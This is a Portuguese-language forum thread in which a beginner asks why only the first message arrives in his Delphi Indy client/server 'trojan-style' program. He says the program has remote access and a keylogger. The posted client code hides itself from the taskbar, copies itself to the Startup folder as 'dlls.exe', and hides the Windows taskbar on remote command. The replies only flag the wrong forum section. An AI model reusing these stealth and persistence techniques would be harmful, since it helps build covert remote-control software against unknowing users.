[DUVIDA] DELPHI - COMPONENTE Indy

[diegomaxter 0]

Pessoal minha duvida é bem simples.

criei um sistema de mensagem (Estilo de um trojan, mas para ajudar) com FTP, Acesso Remoto , KeyLoger , e muito mais.. porem quando eu envio uma mensagem para um cliente so a primeira mensagem funciona, as outras nao vao.

EXEMPLO: escrevo um mensagem e envio.

- ela eh enviada corretamente

Escrevo outra, ela nao chega ao cliente.

Servidor -EU-

 

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,

StdCtrls, ExtCtrls, IdAntiFreezeBase, IdAntiFreeze;

 

type

TForm1 = class(TForm)

Panel1: TPanel;

GroupBox1: TGroupBox;

ip: TEdit;

GroupBox2: TGroupBox;

Mensagem: TEdit;

Button1: TButton;

GroupBox3: TGroupBox;

ComboBox1: TComboBox;

Button2: TButton;

msg: TIdTCPClient;

HideBar: TIdTCPClient;

IdAntiFreeze1: TIdAntiFreeze;

procedure Button1Click(Sender: TObject);

procedure msgConnected(Sender: TObject);

procedure Button2Click(Sender: TObject);

procedure HideBarConnected(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

 

var

Form1: TForm1;

 

implementation

 

{$R *.dfm}

 

procedure TForm1.Button1Click(Sender: TObject);

begin

msg.Host := ip.Text;

msg.Connect;

end;

 

procedure TForm1.msgConnected(Sender: TObject);

begin

With msg do

begin

WriteLn(Mensagem.Text);

Disconnect;

end;

end;

 

procedure TForm1.Button2Click(Sender: TObject);

begin

hidebar.Host := ip.Text;

hidebar.Connect;

end;

 

procedure TForm1.HideBarConnected(Sender: TObject);

begin

With HideBar do

begin

WriteLn(ComboBox1.Text);

Disconnect;

end;

end;

 

end.

CLIENT

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPServer,

IdAntiFreezeBase, IdAntiFreeze;

 

type

TForm1 = class(TForm)

msg: TIdTCPServer;

HideBar: TIdTCPServer;

Memo1: TMemo;

Memo2: TMemo;

IdAntiFreeze1: TIdAntiFreeze;

procedure msgConnect(AThread: TIdPeerThread);

procedure Memo1Change(Sender: TObject);

procedure HideBarConnect(AThread: TIdPeerThread);

procedure Memo2Change(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure msgDisconnect(AThread: TIdPeerThread);

procedure msgExecute(AThread: TIdPeerThread);

private

{ Private declarations }

public

{ Public declarations }

end;

 

var

Form1: TForm1;

 

implementation

 

{$R *.dfm}

 

procedure TForm1.msgConnect(AThread: TIdPeerThread);

begin

With AThread.Connection do

begin

Memo1.Lines.add(Readln)

end;

memo1.Text := '';

end;

 

procedure TForm1.Memo1Change(Sender: TObject);

var

a : string;

begin

a := memo1.Lines[0];

ShowMessage(a);

end;

 

procedure TForm1.HideBarConnect(AThread: TIdPeerThread);

begin

With AThread.Connection do

begin

Memo2.Lines.add(Readln)

end;

memo2.Text := '';

end;

 

procedure TForm1.Memo2Change(Sender: TObject);

var

a : string;

begin

a := memo2.Lines[0];

if a = 'esconder' then

ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_HIDE);

if a = 'mostrar' then

ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_RESTORE);

end;

 

procedure TForm1.FormCreate(Sender: TObject);

type

TRegisterServiceProcess = function (dwProcessID, dwType:DWord) : DWORD; stdcall;

var

Handle: THandle;

RegisterServiceProcess: TRegisterServiceProcess;

a : String;

begin

//*** Nao aparece na barra ***********************************************

SetWindowLong(Application.Handle, GWL_EXSTYLE,

GetWindowLong(Application.Handle, GWL_EXSTYLE) or

WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);

 

a := Application.ExeName;

If not FileExists('C:\Documents and Settings\All Users\Menu Iniciar\Programas\Inicializar\dlls.exe') then

Begin

CopyFile(Pchar(a), Pchar('C:\Documents and Settings\All Users\Menu Iniciar\Programas\Inicializar\dlls.exe'), False);

End;

end;

 

procedure TForm1.msgDisconnect(AThread: TIdPeerThread);

begin

With AThread.Connection do

begin

Memo1.Lines.add(Readln)

end;

memo1.Text := '';

end;

 

procedure TForm1.msgExecute(AThread: TIdPeerThread);

begin

With AThread.Connection do

begin

Memo1.Lines.add(Readln)

end;

memo1.Text := '';

end;

 

end.

Se alguem puder me ajudar ficarei grato, pois so começei e estudar delphi a 2 semanas

[Wanted™ 0]

Se Voce Colocar Na Arrea Certa Talvez Alguem Te Responda !

Arrea Certa > Programação - Dúvidas/Ajuda

Reportado Motivo : Arrea Errada !

[AceStryker 32]

Use o TCPClient e o TCPServer ao invrez do Indy, ele é mais fácil de mexer.

Área errada em camarada.

['Leozin 38]

Tópico em área errada.

 

Fechado.